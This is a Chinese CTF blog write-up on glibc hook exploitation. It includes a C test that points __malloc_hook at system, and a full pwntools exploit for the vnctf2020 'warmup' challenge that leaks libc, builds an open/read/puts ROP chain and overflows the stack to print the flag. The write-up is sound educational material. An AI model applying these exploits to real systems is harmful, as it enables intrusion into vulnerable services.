【闲话0x01】hook技术
做一道题的时候研究了一下hook技术在pwn的利用,挂到博客上水一下
hook
hook技术是一种函数指针技术,假设a函数被挂了b函数的钩子,实际上执行a函数的时候会跑b函数,而这个指针是可读可写的,所以在pwn中有一些利用这些hook的攻击办法;
但是hook技术在后续高版本的libc中就不能实现了(或者说是直接就不用他了),下面对于各种hook的适用条件也会具体说明。
一般的hook利用(或者说叫基础的hook利用)目前我见到过2(3?)种,后续水平上去再补充:
malloc/free hook
这两种hook道理大体相似,直接放我做题时候的一些过程了,题是vnctf2020的warmup,最后打通的是本地的2.27libc的环境,实际上2.31也应该能跑(我懒得给Ubuntu20装pwntools了),这两种hook应该是在2.34及以前的libc上都有使用,2.35直接不使用这项hook了,过程如下:
首先我写了个malloc跑确实发现了有这么个函数,然后测试一下改写这个hook,测试代码是这样的(应该freehook几乎同理):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <malloc.h>
int main()
{
__malloc_hook =system;
char str[10]="cat flag";
char *s = malloc(str);
return 0;
}

在编译的时候就已经给了一个warning,告诉我这个指针已经是荒废的了
在2.27的libc版本下是可以运行弹出我的测试flag的,2.31也是可以的,但是2.35的libc中并不能弹出

毫无反应,说明2.35的libc中已经不再使用这个函数指针了
在这个题中对hook的利用比较简单,只是把这个hook当做读写区域,题我不放了,放个exp(利用过程):
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
context(log_level='debug')
#r=remote("node4.buuoj.cn",29209)
r=process("./vn_pwn_warmup")
elf=ELF("./vn_pwn_warmup")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
r.recvuntil("gift: ")
puts_addr=int(r.recv(14),16)
print("puts="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
puts_add=libc_base+libc.sym["puts"]
read_addr=libc_base+libc.sym["read"]
open_addr=libc_base+libc.sym["open"]
ret_addr=libc_base+libc.search(asm('ret')).__next__()
rdi_ret=libc_base+libc.search(asm('pop rdi\nret')).__next__()
rsi_ret=libc_base+libc.search(asm('pop rsi\nret')).__next__()
rdx_ret=libc_base+libc.search(asm('pop rdx\nret')).__next__()
flag_addr=libc_base+libc.sym["__free_hook"]
payload1=p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(flag_addr)+p64(rdx_ret)+p64(0x10)+p64(read_addr)
payload1+=p64(rdi_ret)+p64(flag_addr)+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(open_addr)
payload1+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(flag_addr)+p64(rdx_ret)+p64(0x50)+p64(read_addr)
payload1+=p64(rdi_ret)+p64(flag_addr)+p64(puts_add)
r.send(payload1)
payload2=b'a'*0x78+p64(ret_addr)
r.send(payload2)
r.send("./flag")
r.interactive()
orw(write其实被禁用掉了),打通2.27↓

exithook
道理大差不差,但是要利用的是其他的1-2个指针,高版本libc还有一种别的利用形式
现在⑧太会,过两天把这补上OvO